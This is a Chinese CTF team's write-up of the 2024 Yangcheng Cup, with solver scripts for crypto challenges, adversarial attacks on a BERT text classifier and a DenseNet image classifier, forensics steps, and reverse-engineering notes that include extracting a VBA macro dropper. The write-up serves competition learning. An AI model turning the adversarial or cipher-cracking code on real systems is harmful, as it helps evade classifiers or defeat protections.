-联合战队|共同成长-
2024年“羊城杯”粤港澳大湾区网络安全大赛8月1日正式启动报名。本届大赛作为2024年国家网络安全宣传周系列活动之一,由广东省委网信办主办,广州市委网信办承办,旨在通过竞赛的方式提升参赛选手攻防兼备的网络安全实践技能,加强不同院校及单位之间的技术交流。
Crypto-babycurve
但是由于题目给出了曲线上的两个点,因此可以在GFp上解方程得到曲线参数
观察曲线的阶,存在一些小因子可以利用,因此使用PH+BSGS求出子群上的DLP,并爆破一些子群阶,即可得到key
然后AES-CBC解密得到flag
from sage.all import *
from Crypto.Util.number import *
from Crypto.Cipher import AES
import hashlib
G = (584273268656071313022845392380, 105970580903682721429154563816)
P = (401055814681171318348566474726, 293186309252428491012795616690)
data = {'iv': 'bae1b42f174443d009c8d3a1576f07d6', 'cipher': 'ff34da7a65854ed75342fd4ad178bf577bd622df9850a24fd63e1da557b4b8a4'}
p = 770311352827455849356512448287
R = PolynomialRing(GF(p), 'x,y')
x, y = R.gens()
B = Ideal([
G[1]**2 - G[0]**3 - x*G[0] - y,
P[1]**2 - P[0]**3 - x*P[0] - y
]).groebner_basis()
a = ZZ(-B[0].univariate_polynomial()(0))
b = ZZ(-B[1].univariate_polynomial()(0))
E = EllipticCurve(GF(p), [a, b])
G, P = E(G), E(P)
order = G.order()
subs = [2**5, 7, 1135963, 1249861]
sks = list()
for sub in subs:
sk = discrete_log_lambda(order//sub * P, order//sub * G, (0, sub), operation='+')
sks.append(sk)
print(sub, sk)
sk = crt(sks, subs)
while True:
if sk*G == P:
print(sk)
iv, ct = [bytes.fromhex(_) for _ in [data["iv"], data["cipher"]]]
key = hashlib.sha256(str(sk).encode()).digest()[:16]
cipher = AES.new(key, AES.MODE_CBC, iv)
flag = cipher.decrypt(ct)
print(flag)
break
sk += prod(subs)
Crypto-TH_curve
题目实现了Twisted Hessian Curve上的点加法与标量乘法
参考Crypto CTF 2023 WriteUps | 廢文集中區 (maple3142.net)博客,即可实现从TH curve到Weierstrass型曲线的转换(主要分为曲线方程求解与曲线点映射两步)
然后就是朴素的ecdlp求解,同样利用小子群阶实施 PH+BSGS得到flag
from Crypto.Util.number import *
from sage.all import *
p = 10297529403524403127640670200603184608844065065952536889
a = 2
G = (8879931045098533901543131944615620692971716807984752065, 4106024239449946134453673742202491320614591684229547464)
Q = (6784278627340957151283066249316785477882888190582875173, 6078603759966354224428976716568980670702790051879661797)
sk = 126879961154507942934597133279713552400602
d = ZZ((a*G[0]**3 + G[1]**3 + 1)*inverse(G[0]*G[1], p) % p)
F = GF(p)
x, y, z = QQ["x,y,z"].gens()
eq = a*x ** 3 + y ** 3 + z ** 3 - d * x * y * z
phi = EllipticCurve_from_cubic(eq)
E = phi.codomain().change_ring(F)
fx, fy, fz = map(lambda f: f.change_ring(F), phi.defining_polynomials())
phiP = lambda x, y, z=1: E(fx(x, y, z) / fz(x, y, z), fy(x, y, z) / fz(x, y, z))
EG = phiP(G[0], G[1], 1)
EQ = phiP(Q[0], Q[1], 1)
order = EG.order()
subs = list(factor(order))
sks = list()
mods = list()
print(order, factor(order))
for sub, i in subs[:-1]:
sub = sub**i
A = order//sub * EG
B = order//sub * EQ
sk = discrete_log_lambda(B, A, (0, sub), operation="+")
sks.append(sk)
mods.append(sub)
print(sub, sk)
sk = crt(sks, mods)
print(sk.nbits(), sk)
print(long_to_bytes(int(sk)))
Crypto-RSAloss
给定 n,c, 通常情况下在无e情景中,应对明文做特殊限制,本题无其他信息,尝试在可见字符范围进行格规约,可转化为SVP问题,使用LLL算法求解即可。
又不明确字符串长度,尝试爆破,然后手工选择一个具有语义的,发现为flag
from Crypto.Util.number import *
p = 898278915648707936019913202333
q = 814090608763917394723955024893
newm = bytes_to_long(b'Xxeex1eyx88x01dXxf6ix91x80hxf4x1f!xa7"x0cx9ax06xc8x06x81x15')
n = p * q
c = newm
pre = b"DASCTF{"
suf = b"}"
for le in range(20, 60):
length = le - len(pre) - len(suf)
c -= 256^(len(suf) + length) * bytes_to_long(pre)
c -= bytes_to_long(suf)
c = c * inverse(256,n) % n
L = Matrix(ZZ,length+2,length+2)
for i in range(length):
L[i,i] = 1
L[i,-1] = 256^i
c -= 256^i*48
c -= 256^i*40
L[-2,-2] = 1
L[-2,-1] = -c
L[-1,-1] = n
L[:,-1:] *= n
res = L.LLL()
for i in res[:-1]:
flag = ""
if(all(abs(j) <= 40 for j in i[:-2])):
if(i[-2] == 1):
for j in i[:-2][::-1]:
flag += chr(48 + 40 + j)
elif i[-2] == -1:
for j in i[:-2][::-1]:
flag += chr(48 + 40 - j)
if(flag != ""):
print(prefix.decode()+flag+suf.decode())
break
c = newm
#DASCTF{o0p5_m3ssaGe_to0_b1g_nv93nd0}
DASCTF{b<Lgi[PdN[TEkChH:[<R~aWecC[6ee1h}
DASCTF{^YbCRf[XYfkoNdjWrK:sYWvJ]`Y=`DNWQL}
DASCTF{JZQZSZca@@yv_SsTjGHbO_b[OHPsapYPW?J}
DASCTF{Z_S>VZIZoaxL?nOZn[Y_k]a]GsQVSHUOX_}
DASCTF{[OBCIdafdOPK_J]VVf_ZvS`N@MX[~a_bBY_}
DASCTF{NoILV[FXUgJMQtQTm`SoVZcW]RSQNjIcUfXSYP}
DASCTF{YQPSTI_MTRJ^V[VL_ZgSXcWOeYOMUeXIZZMS_Yk}
DASCTF{_VNWb:[SYYNW_Y[]]hHaeTiY^`?e`JWU^[b[Wc}
DASCTF{bZQXWbdK^QVQVWYZZbffXeeSVQ_RYWaY;JSiUQOV}
DASCTF{XT[TVUWcVLYpQjPSKMaZW_N[_YJTUaWZ_QWZeUI_w[}
DASCTF{VOZXXVXRQWPJQbjd[SQMVVLYhUVSUW`=LgWNV]QGN}
DASCTF{Y_a^Rn[TRUP[`f_PRX`UNd][kUY[VXSh`T]`YNQck]}
DASCTF{ZbXaNUWb[UZb[aeKWhOX[aRQNFZRScKaZPdVM^XVcNc}
DASCTF{YVVULZWjUNK]YeXZYUdTK[YRbZYO]bINWUa]aSUaTj}
DASCTF{Y[R[Y`Yd][QUO][[@NY^NR_]KX[WYNJVS]KMN`^[XdYVRc}
DASCTF{YRVWP]_^ZdaFULVV`YURUYZS_]VWTMXZ]RTX^bYS[PGI`gX}
DASCTF{VZSZ_VeTY_PN[cUWZKRVgXOdSZRV[ZPVL_JZKQ_`QQSR]aVb}
DASCTF{]]UWYPaPS[^MQQSZ]Y`TY]OXYRM]WVQaWXRV[[^Q^WX[NW[IS}
DASCTF{TWU[TXMSZW^UV[TgV`ZWXUgUMY]XcU`[XTV]_UW]YYY]MTV}
Crypto-TheoremPlus
decode 是在求 ,分两类讨论,为素数时,威尔逊定理等于-1,不为素数时是0
例外的当n=4,等于2
因此转变思路求素数的个数
接着n开方找近似p的下一个q就行,老套路了
from Crypto.Util.number import *
from gmpy2 import *
from sage import *
from tqdm import tqdm
'''n = 18770575776346636857117989716700159556553308603827318013591587255198383129370907809760732011993542700529211200756354110539398800399971400004000898098091275284235225898698802555566416862975758535452624647017057286675078425814784682675012671384340267087604803050995107534481069279281213277371234272710195280647747033302773076094600917583038429969629948198841325080329081838681126456119415461246986745162687569680825296434756908111148165787768172000131704615314046005916223370429567142992192702888820837032850104701948658736010527261246199512595520995042205818856177310544178940343722756848658912946025299687434514029951
c = 2587907790257921446754254335909686808394701314827194535473852919883847207482301560195700622542784316421967768148156146355099210400053281966782598551680260513547233270646414440776109941248869185612357797869860293880114609649325409637239631730174236109860697072051436591823617268725493768867776466173052640366393488873505207198770497373345116165334779381031712832136682178364090547875479645094274237460342318587832274304777193468833278816459344132231018703578274192000016560653148923056635076144189403004763127515475672112627790796376564776321840115465990308933303392198690356639928538984862967102082126458529748355566
e = 0
for i in tqdm(range(2,703440151+1)):
if is_prime(i):
e += 1
print(e)
'''
e = 36421875 - 2
n = 18770575776346636857117989716700159556553308603827318013591587255198383129370907809760732011993542700529211200756354110539398800399971400004000898098091275284235225898698802555566416862975758535452624647017057286675078425814784682675012671384340267087604803050995107534481069279281213277371234272710195280647747033302773076094600917583038429969629948198841325080329081838681126456119415461246986745162687569680825296434756908111148165787768172000131704615314046005916223370429567142992192702888820837032850104701948658736010527261246199512595520995042205818856177310544178940343722756848658912946025299687434514029951
c = 2587907790257921446754254335909686808394701314827194535473852919883847207482301560195700622542784316421967768148156146355099210400053281966782598551680260513547233270646414440776109941248869185612357797869860293880114609649325409637239631730174236109860697072051436591823617268725493768867776466173052640366393488873505207198770497373345116165334779381031712832136682178364090547875479645094274237460342318587832274304777193468833278816459344132231018703578274192000016560653148923056635076144189403004763127515475672112627790796376564776321840115465990308933303392198690356639928538984862967102082126458529748355566
p = iroot(n,2)[0]
q = next_prime(p)
p = n //q
assert is_prime(p) and p * q == n
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))
Misc-1z_misc
结合hint中的jpg:
hint.txt用处不大,直接从题目附件的txt入手分析:
天地玄黄,宇宙洪荒;日月盈昃,辰宿列张;万物芸芸,息息相关;是以十二岁而行二十八宿,其间奥妙,待探寻,显真章。
若女可为11,可为1124......觜可为91,亦可为725......如此往复,周而复始。
祈解其秘:[43,101,55,16,16,1017,28,812,824,43,55,226,101,55,55,415,1017,1027,28,28,617,824,28,812,1027,16,101,16,55,1027,1017,28,16]
1 1为子对应的二十八宿左边第一个女,9 1就是申左边第一个,对应的觜 1124就是11(子、丑、寅、卯、辰、巳、午、未、申、酉、戌、亥)顺序 11对应左边的第一个开始 按顺序数二十八宿,转过来还是女 725同理 7(子、丑、寅、卯、辰、巳、午、未、申、酉、戌、亥)顺序 7对应左边第一个开始按顺序数25个 还是觜 逻辑就通了
文字发现都是
心,胃,心,奎,奎,心,奎,心,胃,心,心,心,胃,心,心,胃,心,奎,奎,奎,奎,胃,奎,心,奎,奎,胃,奎,心,奎,心,奎,奎
三进制和上面转换都不对,莫斯编码,得到了压缩包密码为E@SI1Y!
解压压缩包,分析文件发现是lyra压缩的音频文件,今年ISCC考过一次抽象题目,参考:
https://blog.csdn.net/ASD830/article/details/139381089
中的'有人让我给你带个话',配置环境跑出音频文件,发现和例题完全一样,都是社会主义核心价值观,解码即可得到flag
DASCTF{W0w!_You_d0_4_g00d_j0b!}
Misc-hiden
60=17+43
交给AI
Misc-miaoro
流量包看到奇怪的cookie
猜测是RememberMe魔改
在第二个攻击找到
DASCTF{B916CFEB-C40F-45D6-A7BC-
同时看到奇怪的头
接着找,能看到一个倒着的zip
密码在前面
打开发现宽高有问题,更改宽为高,发现差不多,调大高度
字符画,对出flag
Misc-不一样的数据库_2
zip需要密码,尝试伪加密发现的确需要密码,由于没有其它信息,尝试直接爆破成功得到密码,数据库显然需要密码,先看13.png:
ps补全定位角,扫码得到:
NRF@WQUKTQ12345&WWWF@WWWFX#WWQXNWXNU
结合png的文件名13,猜测需要rot13后解密数据库:
AES@JDHXGD12345&JJJS@JJJSK#JJDKAJKAH
首先知道AES的key为DASCTF
,下面还差一个密文,随便翻翻数据库就能找到:
解AES即可得到flag
Misc-Check in
Zip中有注释,发现是base58,解码得到一个key:
Welcome2GZ
flag.txt是流量包的十六进制,但是没有发现TLS的密钥,于是考虑到Flag.txt可能存在隐写,txt隐写种类很少,尝试发现为wbStego4,解密得到log文件,导入后搜索flag可以发现一张gif:
导出后gif无明显flag,查看每帧的间隔发现问题,将小的间隔转为0,大的间隔转为1,得到:
0101010101011111001100000111011101001110010111110011000101010100
解二进制即可得到flag:
Misc-so much
根据文件后缀,可以判断出是ad1磁盘,FTK直接挂载,发现需要密码,尝试弱口令未遂,strings在最后发现:
the key is: 1234567 really
确实不是key,但一定和1234567有关,搜了一下发现一道几乎一样的题目:
https://blog.csdn.net/qq_42880719/article/details/120271611
跟这题一样,文件名解base64得到提示:shift!
那么按住shift点1234567,成功解密,挂载成功,跟例题一样,也是一堆.crypto文件,只不过这题是根据md5转二进制,之后puzzlesolve直接梭得到密码:
分别解两种.crypto文件即可得到flag
AI-NLP_Model_Attack
关于bert的llm对抗,使用清华的openattack就行,使用了基于贪婪算法进行word词替换的PWWS攻击
import OpenAttack as oa
import numpy as np
import torch
import datasets
import transformers
from transformers import DistilBertTokenizer, DistilBertForSequenceClassification
import csv
from collections import defaultdict
with open('original_text.csv', mode='r', encoding='utf-8') as file:
# 创建CSV阅读器
reader = csv.DictReader(file)
# 创建一个字典来存储转换后的数据
data_dict = {
"x": [
],
"y": [
]
}
# 遍历CSV文件中的每一行
for row in reader:
# 将'text'列的值添加到data_dict的'x'键下
data_dict['x'].append(row['text'])
# 将'original_label'列的值添加到data_dict的'y'键下
data_dict['y'].append(int(row['original_label'])) # 假设original_label是整数
tokenizer = DistilBertTokenizer.from_pretrained('Sentiment_classification_model')
model = DistilBertForSequenceClassification.from_pretrained('Sentiment_classification_model').to('cuda')
victim = oa.classifiers.TransformersClassifier(model, tokenizer, model.distilbert.embeddings.word_embeddings, 'cuda')
attacker = oa.attackers.PWWSAttacker()
dataset = datasets.Dataset.from_dict(data_dict)
attack_eval = oa.AttackEval(attacker, victim, metrics = [oa.metric.EditDistance(), oa.metric.ModificationRate()])
attack_eval.eval(dataset, visualize=True)
AI-Targeted_Image_adv_attacks
题目要求进行有目标的对抗样本攻击,并且检验方式为SIMM
因此对损失函数使用SIMM进行约束,在SIMM条件下的进行约束优化,采用了梯度优化FGSM
考虑到模型敏感度使用softmax后进行交叉熵的效果并不好,观察模型输出后,直接预设期望的target计算MSE均方误差
from torch import nn
import torch.nn.functional as func
import numpy as np
import torch
from PIL import Image
import base64
import random
from torchvision import models, transforms
import pytorch_ssim
from torch.autograd import Variable
label = {
0: 'cat',
1: 'dog',
2: 'fox'
}
target = [torch.tensor([[-10, 10, -10]]).to('cuda').float(),
torch.tensor([[-10, -10, 10]]).to('cuda').float(),
torch.tensor([[10, -10, -10]]).to('cuda').float()]
model = models.densenet121(weights=None)
num_ftrs = model.classifier.in_features
model.classifier = nn.Sequential(
nn.Linear(num_ftrs, 500),
nn.Linear(500, 3)
)
model.load_state_dict(torch.load('ckpt_densenet121_catdogfox_classify.pth', map_location='cuda'))
model = model.to('cuda')
model.eval()
loss_ssim = pytorch_ssim.SSIM()
loss_l2 = nn.MSELoss()
delta = 0.01
cnt = 0
for idx in range(3):
for num in range(50):
print(f'--------{label[idx]}_{num:03d} Start Adv Attack!---------')
img = transforms.ToTensor()(Image.open(f'.\adv_image\{label[idx]}\{label[idx]}_{num:03d}.jpg')).to('cuda').unsqueeze(0)
src_img = transforms.ToTensor()(Image.open(f'.\adv_image\{label[idx]}\{label[idx]}_{num:03d}.jpg')).to('cuda').unsqueeze(0)
src = src_img.view(-1).detach().cpu().numpy()
img.requires_grad = True
for i in range(100000):
pred = model(img)
print(f"Epoch {i}: target pred: {pred[0].argmax().item()}",end=' ')
adv = transforms.ToPILImage()(img[0].detach().cpu())
adv.save(f'.\update\{label[idx]}\{label[idx]}_{num:03d}.jpg')
adv_img = transforms.ToTensor()(Image.open(f'.\update\{label[idx]}\{label[idx]}_{num:03d}.jpg')).to('cuda').unsqueeze(0)
if pytorch_ssim.ssim(adv_img, src_img) < 0.95:
print(f'-------- {label[idx]}_{num:03d} SSIM < 0.95---------')
cnt += 1
break
if model(adv_img)[0].argmax().item() == (idx+1)%3 and pytorch_ssim.ssim(adv_img, src_img) > 0.95:
print('--------Find Adv Image!---------')
print(pytorch_ssim.ssim(img, src_img), pred[0].argmax().item())
break
ssiml = loss_ssim(img, src_img)
l2l = loss_l2(pred, target[idx])
loss = l2l + ssiml
loss.backward()
img.requires_grad = False
img = img - img.grad * delta
img = img.clamp(0, 1)
img.requires_grad = True
print(f"SIMM loss: {ssiml.item()} MSE norm: {l2l.item()}")
print(f'-------- Total:{cnt} SSIM < 0.95---------')
data-analy1
import pandas as pd
import re
# 读取整个CSV文件
def read_csv_file(file_path):
data = pd.read_csv(file_path)
return data
# 读取一行数据
def read_specific_row(data, row_number):
row_data = data.iloc[row_number]
return row_data
# 读取一行中的某个值
def get_value_from_row(row_data, column_name):
value = row_data[column_name]
return value# 读取CSV文件
def is_md5(input_string):
# 正则表达式匹配32位小写MD5值
pattern = r"^[a-f0-9]{32}$"
if re.match(pattern, input_string):
return True
else:
return False
def validate_id_number(id_number):
# 加权因子
weight_factor = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
# 校验码
check_code = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2']
if len(id_number) != 18 or not id_number[:17].isdigit():
return False
# 校验身份证号前17位
total = sum(int(id_number[i]) * weight_factor[i] for i in range(17))
# 计算校验码
verify_code = check_code[total % 11]
# 检查校验码是否匹配
if id_number[17] == verify_code:
return True
else:
return False
def extract_birthday_from_id(id_number):
if len(id_number) != 18:
return "身份证号长度错误"+id_number
year = id_number[6:10] # 从第7位到第10位是年份
month = id_number[10:12] # 月份
day = id_number[12:14] # 日
return f"{year}{month}{day}"
def validate_phone_number(phone_number):
# 虚假号段集合
fake_prefixes = {
'734', '735', '736', '737', '738', '739', '747', '748',
'750', '751', '752', '757', '758', '759', '772', '778',
'782', '783', '784', '787', '788', '795', '798', '730',
'731', '732', '740', '745', '746', '755', '756', '766',
'767', '771', '775', '776', '785', '786', '796', '733',
'749', '753', '773', '774', '777', '780', '781', '789',
'790', '791', '793', '799'
}
if len(phone_number) != 11:
return False
prefix = phone_number[:3]
if prefix in fake_prefixes:
return True
else:
return False
def is_chinese_name(input_str):
# 中文姓名通常由2-4个中文字符组成
pattern = re.compile(r'^[u4e00-u9fa5]{2,4}$')
if pattern.match(input_str):
return True
else:
return False
def process(specific_row,row_number):
global id, passwd, phone_number, id_card, birthday_name, sex, name, birthday
for column_name, value in specific_row.items():
# print(column_name, value)
if value == str(row_number+1):
id = specific_row[column_name]
print("id:",id)
if is_md5(value):
passwd = value
print("passwd:",passwd)
if validate_phone_number(value):
phone_number = value
print("phone_number:",phone_number)
if validate_id_number(value):
id_card = value
birthday = extract_birthday_from_id(id_card)
for column_name2, value2 in specific_row.items():
if str(value2) == str(birthday):
birthday_name = value2
if value == "男" or value == "女":
sex = value
print("sex:", sex)
if is_chinese_name(value):
name = value
print("name:", name)
valuses = specific_row.values.tolist()
valuses.remove(id)
valuses.remove(passwd)
valuses.remove(phone_number)
valuses.remove(id_card)
valuses.remove(sex)
valuses.remove(name)
valuses.remove(birthday_name)
user_name = valuses[0]
print("user_name:",user_name)
data_dict = {
"id": id,
"用户名": user_name,
"密码": passwd,
"姓名": name,
"性别": sex,
"出生日期": birthday_name, # 如果有出生日期的话,可以添加对应的值
"身份证号": id_card,
"手机号码": phone_number
}
return data_dict
data_dict111 = {
"id": 1,
"用户名": 1,
"密码": 1,
"姓名": 1,
"性别": 1,
"出生日期": 1,
"身份证号": 1,
"手机号码": 1
}
import csv
swapped_data_list = []
file_path = "person_data.csv"
person_data = read_csv_file(file_path)
csv_file = "person_data2.csv"
num_rows = person_data.shape[0]
fieldnames = ["id", "用户名","密码","姓名","性别","出生日期","身份证号","手机号码"]
data = []
for i in range(num_rows):
specific_row = read_specific_row(person_data, i)
data_dict = process(specific_row,i)
data.append(data_dict)
with open(csv_file, mode='w', newline='', encoding='utf-8') as file:
writer = csv.DictWriter(file, fieldnames=fieldnames)
writer.writeheader()
# 写入数据
writer.writerows(data)
data-analy2
import re
import json
import csv
import random
import string
obj = re.compile(r"{"u(.*?)}")
data = []
def check_username(username):
if username.isalnum():
return True
else:
return False
def check_cnname(name):
"""
检查输入的姓名是否符合要求。
参数:
name (str): 要检查的姓名。
返回:
bool: 如果姓名符合要求则返回 True,否则返回 False。
"""
# 检查是否全由中文组成
if not all(u'u4e00' <= char <= u'u9fa5' for char in name):
return False
return True
def check_sex(gender, id_card):
"""
检查输入的性别与身份证号码中的性别是否一致。
参数:
gender (str): 输入的性别, 可以是 '男' 或 '女'。
id_card (str): 身份证号码。
返回:
bool: 如果输入的性别与身份证号码中的性别一致, 返回 True, 否则返回 False。
"""
# 获取身份证号码中的性别代码
if len(id_card) == 18:
gender_code = int(id_card[16])
else:
gender_code = int(id_card[15])
# 根据性别代码判断性别
id_gender = '男' if gender_code % 2 != 0 else '女'
# 比较输入的性别与身份证号码中的性别是否一致
return id_gender == gender
def check_birth(birth, id_card):
"""
检查输入的出生日期与身份证号码中的出生日期是否一致。
参数:
birth (str): 输入的出生日期, 格式为 'YYYYMMDD'。
id_card (str): 身份证号码。
返回:
bool: 如果输入的出生日期与身份证号码中的出生日期一致, 返回 True, 否则返回 False。
"""
# 从身份证号码中提取出生日期
id_birthdate = id_card[6:14]
# 比较输入的出生日期与身份证号码中的出生日期是否一致
return birth == id_birthdate
def check_idcard(idcard):
"""
检查输入的身份证号码是否符合要求。
参数:
idcard (str): 要检查的身份证号码。
返回:
bool: 如果身份证号码符合要求则返回 True,否则返回 False。
"""
# 检查身份证号码长度是否为 18 位
if len(idcard) != 18:
return False
# 生成随机的地址码
address_code = ''.join(random.choices(string.digits, k=6))
# 检查出生日期码是否合法
try:
birth_date = idcard[6:14]
year = int(birth_date[:4])
month = int(birth_date[4:6])
day = int(birth_date[6:8])
if year < 1900 or year > 2023 or month < 1 or month > 12 or day < 1 or day > 31:
return False
except (ValueError, IndexError):
return False
# 检查顺序码是否合法
try:
order_code = int(idcard[14:17])
if order_code < 1 or order_code > 999:
return False
except (ValueError, IndexError):
return False
# 检查校验码是否合法
weights = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
total = sum(int(idcard[i]) * weights[i] for i in range(17))
remainder = total % 11
check_codes = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2']
if idcard[17] != check_codes[remainder]:
return False
# 检查性别
if int(idcard[16]) % 2 == 0:
gender = '女'
else:
gender = '男'
print(f"身份证号码: {idcard}n地址码: {address_code}n出生日期: {birth_date}n顺序码: {order_code}n性别: {gender}")
return True
def check_phone(phone):
"""
检查输入的手机号码是否符合要求。
参数:
phone (str): 要检查的手机号码。
返回:
bool: 如果手机号码符合要求则返回 True,否则返回 False。
"""
# 检查手机号码长度是否为 11 位
if len(phone) != 11:
return False
# 检查手机号码是否全由数字组成
if not phone.isdigit():
return False
# 检查手机号码的前 3 位是否在指定的号段集合中
allowed_prefixes = ['734', '735', '736', '737', '738', '739', '747', '748', '750', '751', '752', '757', '758',
'759', '772', '778', '782', '783', '784', '787', '788', '795', '798', '730', '731', '732',
'740', '745', '746', '755', '756', '766', '767', '771', '775', '776', '785', '786', '796',
'733', '749', '753', '773', '774', '777', '780', '781', '789', '790', '791', '793', '799']
if phone[:3] not in allowed_prefixes:
return False
return True
with open("data.pcapng","r",encoding="utf-8",errors='ignore') as f:
lines = f.readlines()
for line in lines:
match_obj = obj.findall(line)
if match_obj and len(match_obj[0]) > 38:
json_str = "{"u"+match_obj[0]+"}"
data.append(json.loads(json_str))
filtered_data = []
for user_info in data:
username = user_info["username"]
name = user_info["name"]
sex = user_info["sex"]
birth = user_info["birth"]
idcard = user_info["idcard"]
phone = user_info["phone"]
if (check_username(username) and
check_cnname(name) and
check_sex(sex, idcard) and
check_birth(birth, idcard) and
check_idcard(idcard) and
check_phone(phone)):
pass
else:
filtered_data.append([username, name, sex, birth, idcard, phone])
with open("data.pcapng","r",encoding="utf-8",errors='ignore') as f:
lines = f.readlines()
with open("data.csv",'w',newline="",encoding="utf-8") as f:
csvwriter = csv.writer(f)
csvwriter.writerows(filtered_data)
data-analy3
import re
import urllib.parse
import csv
import hashlib
import random
import string
def check_username(username):
if username.isalnum():
return True
else:
return False
def check_cnname(name):
"""
检查输入的姓名是否符合要求。
参数:
name (str): 要检查的姓名。
返回:
bool: 如果姓名符合要求则返回 True,否则返回 False。
"""
# 检查是否全由中文组成
if not all(u'u4e00' <= char <= u'u9fa5' for char in name):
return False
return True
def check_idcard(idcard):
"""
检查输入的身份证号码是否符合要求。
参数:
idcard (str): 要检查的身份证号码。
返回:
bool: 如果身份证号码符合要求则返回 True,否则返回 False。
"""
# 检查身份证号码长度是否为 18 位
if len(idcard) != 18:
return False
# 生成随机的地址码
address_code = ''.join(random.choices(string.digits, k=6))
# 检查出生日期码是否合法
try:
birth_date = idcard[6:14]
year = int(birth_date[:4])
month = int(birth_date[4:6])
day = int(birth_date[6:8])
if year < 1900 or year > 2023 or month < 1 or month > 12 or day < 1 or day > 31:
return False
except (ValueError, IndexError):
return False
# 检查顺序码是否合法
try:
order_code = int(idcard[14:17])
if order_code < 1 or order_code > 999:
return False
except (ValueError, IndexError):
return False
# 检查校验码是否合法
weights = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
total = sum(int(idcard[i]) * weights[i] for i in range(17))
remainder = total % 11
check_codes = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2']
if idcard[17] != check_codes[remainder]:
return False
# 检查性别
if int(idcard[16]) % 2 == 0:
gender = '女'
else:
gender = '男'
print(f"身份证号码: {idcard}n地址码: {address_code}n出生日期: {birth_date}n顺序码: {order_code}n性别: {gender}")
return True
def check_phone(phone):
"""
检查输入的手机号码是否符合要求。
参数:
phone (str): 要检查的手机号码。
返回:
bool: 如果手机号码符合要求则返回 True,否则返回 False。
"""
# 检查手机号码长度是否为 11 位
if len(phone) != 11:
return False
# 检查手机号码是否全由数字组成
if not phone.isdigit():
return False
# 检查手机号码的前 3 位是否在指定的号段集合中
allowed_prefixes = ['734', '735', '736', '737', '738', '739', '747', '748', '750', '751', '752', '757', '758',
'759', '772', '778', '782', '783', '784', '787', '788', '795', '798', '730', '731', '732',
'740', '745', '746', '755', '756', '766', '767', '771', '775', '776', '785', '786', '796',
'733', '749', '753', '773', '774', '777', '780', '781', '789', '790', '791', '793', '799']
if phone[:3] not in allowed_prefixes:
return False
return True
obj = re.compile(r'username(.*?)n')
obj1 = re.compile(r'username=(?P<username>.*?)&name=(?P<name>.*?)&idcard=(?P<idcard>.*?)&phone=(?P<phone>.*?)n[(.*?)n[(.*?)n[(.*?)n[(.*?)n[(.*?)n[(.*?)\xba: (?P<password>.*?)\n')
data = []
result = []
data_finally = []
with open("error.log",'r',encoding="utf-8") as f:
lines = f.read()
match = obj1.search(lines)
for match in obj1.finditer(lines):
if match:
user_info = {
'username': match.group('username'),
'password': match.group('password'),
'name': urllib.parse.unquote(match.group('name')),
'idcard': match.group('idcard'),
'phone': match.group('phone')
}
data.append(user_info)
for user_info in data:
username = user_info['username']
name = user_info['name']
idcard = user_info['idcard']
phone = user_info['phone']
password = user_info['password']
if (check_username(username) and
check_cnname(name) and
check_idcard(idcard) and
check_phone(phone)):
# print(user_info)
# 格式化用户名
if len(username) == 2:
new_username = username[0] + "*"
else:
new_username = username[0] + "*" * (len(username) - 2) + username[-1]
user_info['username'] = new_username
# 格式化密码
new_password = hashlib.md5(password.encode('utf-8')).hexdigest()
user_info['password'] = new_password
# 格式化姓名
if len(name) == 2:
new_name = name[0] + "*"
else:
new_name = name[0] + "*" * (len(name) - 2) + name[-1]
user_info['name'] = new_name
# 格式化身份证号
new_idcard = "*" * 6 + idcard[6:10] + "*" * 8
user_info['idcard'] = new_idcard
# 格式化手机号
new_phone = phone[0:3] + "*" * (len(phone) - 7) + phone[-4:]
user_info['phone'] = new_phone
result.append(user_info)
for i in result:
data_finally.append([i["username"],i["password"],i["name"],i["idcard"],i["phone"]])
with open("data.csv",'w',newline="",encoding="utf-8") as f:
csvwriter = csv.writer(f)
csvwriter.writerows(data_finally)
Re-pic
主函数跟进可以看到密钥长度是5
跟进V43根据几个关键特征如256等猜测是RC4或者类RC4族
写脚本尝试爆破,发现是ARC4,不对后,看字节码,发现很多花指令,nop之后发现上面密钥还有个还有个异或
from Crypto.Cipher import ARC4
data = b'x85x43x72x78x26xc0x2ex6e'
png = [0x89,0x50,0x4e,0x47,0xd,0xa,0x1a,0xa]
table = '0123456789abcdef'
for a in table:
for b in table:
for c in table:
for d in table:
for e in table:
key = (a+b+c+d+e).encode()
arc4 = ARC4.new(key)
pt = arc4.decrypt(data)
ct = []
for i in pt:
ct.append(i^ord(b)^ 0x11)
if ct == png:
print(a,b,c,d,e)
exit()
然后运行程序输入密钥,图片还原
Re-docCrack
有点像取证,docm后缀,一眼有VBA宏代码,直接olevba提取:
有base64数据,看到代码中有拼接顺序:
xpkdb = dWPtWzWvKrZRFrsAWZMGNjZQbCrgAImKXVUkOykXWeRltpUU + AMaKeZzlhAtdNANKAKwMNbKEKUWuQVZQbbCJIUog + BvEKpalonhsRIgbPkYPYbsbQGzIzvPitapncgtGKIo + yBILPYnXCUApVHExOtpKlnfTkVfexwgrFQOFIveA + pqdgalQAZJKIDySPundFqdITahrgAYveJXfZCOUHWnUDKXZwZU + pErQJcjFIvYQeIehtTPMaOgEwFvvjnaTkabtJDvpHbWG + QmLHKhwBebnYaryyPsFeBassnVEjIoURcqNseXyjyMdcDfFnag
复制出来用python输出一下,解两次base64得到exe:
IDA开,看mian:
移六位,写exp即可未得到明文字符串,考虑到还存在对flag的其它操作,继续看VBA代码发现:
>>> v7 = [0]*54
>>> v7[0] = 4288;
>>> v7[1] = 4480;
>>> v7[2] = 5376;
>>> v7[3] = 4352;
>>> v7[4] = 5312;
>>> v7[5] = 4160;
>>> v7[6] = 7936;
>>> v7[7] = 5184;
>>> v7[8] = 6464;
>>> v7[9] = 6528;
>>> v7[10] = 5632;
>>> v7[11] = 3456;
>>> v7[12] = 7424;
>>> v7[13] = 5632;
>>> v7[14] = 6336;
>>> v7[15] = 6528;
>>> v7[16] = 6720;
>>> v7[17] = 6144;
>>> v7[18] = 6272;
>>> v7[19] = 7488;
>>> v7[20] = 6656;
>>> v7[21] = 7296;
>>> v7[22] = 7424;
>>> v7[23] = 2432;
